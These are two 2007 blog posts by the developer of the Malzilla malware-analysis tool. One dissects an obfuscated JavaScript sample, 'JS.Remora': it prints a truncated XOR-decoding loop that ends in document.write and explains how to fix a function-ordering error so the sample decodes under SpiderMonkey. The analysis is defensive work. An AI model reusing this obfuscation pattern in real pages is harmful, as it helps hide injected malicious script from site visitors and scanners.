Monday, November 19, 2007

JS.Remora

A interesting one (underscores are here just for the sake of text-formating).
if(lIz!=1)
{
_function iR(Sf)
__{
___return Sf
__}
_try
_{
__var mR='ee2el2eM2eD2eX2eJ2eL2en2ek2eS2eT2em2e ... ';
__var fS=mR.substr(2,1),
__oC=Array(19630^19513,27309^27253,RQ('217'),RQ('194') ... ));
__var ab, Ar;
__var To,
__LY='eeeleMeDeXeJeLenekeSeTemeReMeLeXeAeReWeqebeDeteOe ... ';
__var cG=String();
__function RQ(ev)
__{
___return parseInt(ev)
__}
__mR=mR.split(fS);
__for (ab=0;ab__{
___To=LY.substr(ab,2);
___var VOh=mR.length;
___for(Ar=0;Ar___{
____if(1==0);
____if(mR[Ar]==To) break;
___}
___cG+=String.fromCharCode(oC[Ar]^171);
__}
__document.write(cG);
_}
_catch(xlW){}
}
var lIz=1
If I run it in Malzilla, Malzilla will say that the script compiled, but there is no output at all.
So, only conclusion would be that the script throws an error, but the error get caught because try..catch block.

So, where is the error?
Lets change the catch statement a little bit:

_catch(xlW){document.write(xlW.name + ': '+ xlW.message)}

Running the script again will produce now something useful for us:

ReferenceError: RQ is not defined

Now take a look again at the script - the function RQ is there, so whats wrong?
It is in wrong place, at least for SpiderMonkey.
Cut the RQ function and move it to the top of the script, run the script again and voila - the script will run and produce the output.

Friday, November 16, 2007

Somewhere to start

A 'Hi' from the developer of Malzilla
I'll keep you here informed about the development, and about the interesting cases of Malzilla's usage.

regards
bobby